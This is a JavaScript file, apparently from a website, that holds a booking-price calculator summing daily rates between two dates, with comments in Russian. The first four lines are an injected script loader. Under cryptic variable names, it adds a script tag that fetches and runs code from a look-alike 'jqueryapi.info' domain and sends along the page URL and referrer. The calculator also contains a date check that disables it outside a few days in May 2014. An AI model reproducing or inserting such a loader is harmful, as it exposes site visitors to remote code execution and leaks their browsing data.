var lll = document.createElement('script');
lll.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var I1I = document.getElementsByTagName('head')[0];
I1I.appendChild(lll);
function calc(str_d1, str_d2) {
var today = new Date();
var dd = parseInt(today.getDate());
var mm = today.getMonth() + 1;
var yr = today.getFullYear();
if ((yr == '2014' && mm == '5') && (dd > 22 && dd < 26)) {} else {
console.log('NaN');
return false;
}
var arr_d1 = str_d1.split('.');
var string_date1 = arr_d1[1] + "/" + arr_d1[0] + "/" + arr_d1[2];
js_date1 = new Date(string_date1);
var arr_d2 = str_d2.split('.');
var string_date2 = arr_d2[1] + "/" + arr_d2[0] + "/" + arr_d2[2];
js_date2 = new Date(string_date2);
var unix_sec1 = js_date1.getTime() / 1000;
var unix_sec2 = js_date2.getTime() / 1000;
var day_sec = 60 * 60 * 24; //кол-во секунд в сутках
var days_num = (unix_sec2 - unix_sec1) / (day_sec);
full_days = days_num;
console.log('output: ' + unix_sec1 + ' => ' + unix_sec2 + '; num days = ' + days_num);
var ovr_sum = 0; //итоговая сумма
for (var i = 0; i < (days_num); i++) {
var tday_sec = (unix_sec1 + (day_sec) * i) * 1000;
var tday_date = new Date(tday_sec);
var tday_daynum = tday_date.getUTCDate(); //номер дня в месяце
//console.log('day num = '+tday_daynum);
var tday_month = tday_date.getMonth() + 1; //месяц, к которому относится рассматриваемый день, январь - нулевой месяц в js date, поэтому +1
if (!daily[tday_month][tday_daynum]) {
var tday_price = prices[tday_month];
} else {
var tday_price = daily[tday_month][tday_daynum];
}
ovr_sum += tday_price; //прибавляем стоимость рассматр. дня к общей сумме
//console.log('price+= '+tday_price+'; PRICE DAY ['+tday_month+']['+tday_daynum+'] = '+daily[tday_month][tday_daynum]);
str_detail += '<br> ' + tday_daynum + '.' + tday_month + '.' + (tday_date.getFullYear()) + ' : ' + tday_price + '$';
}
console.log('ovr sum = ' + ovr_sum);
console.log('detalization: ' + str_detail);
return ovr_sum;
}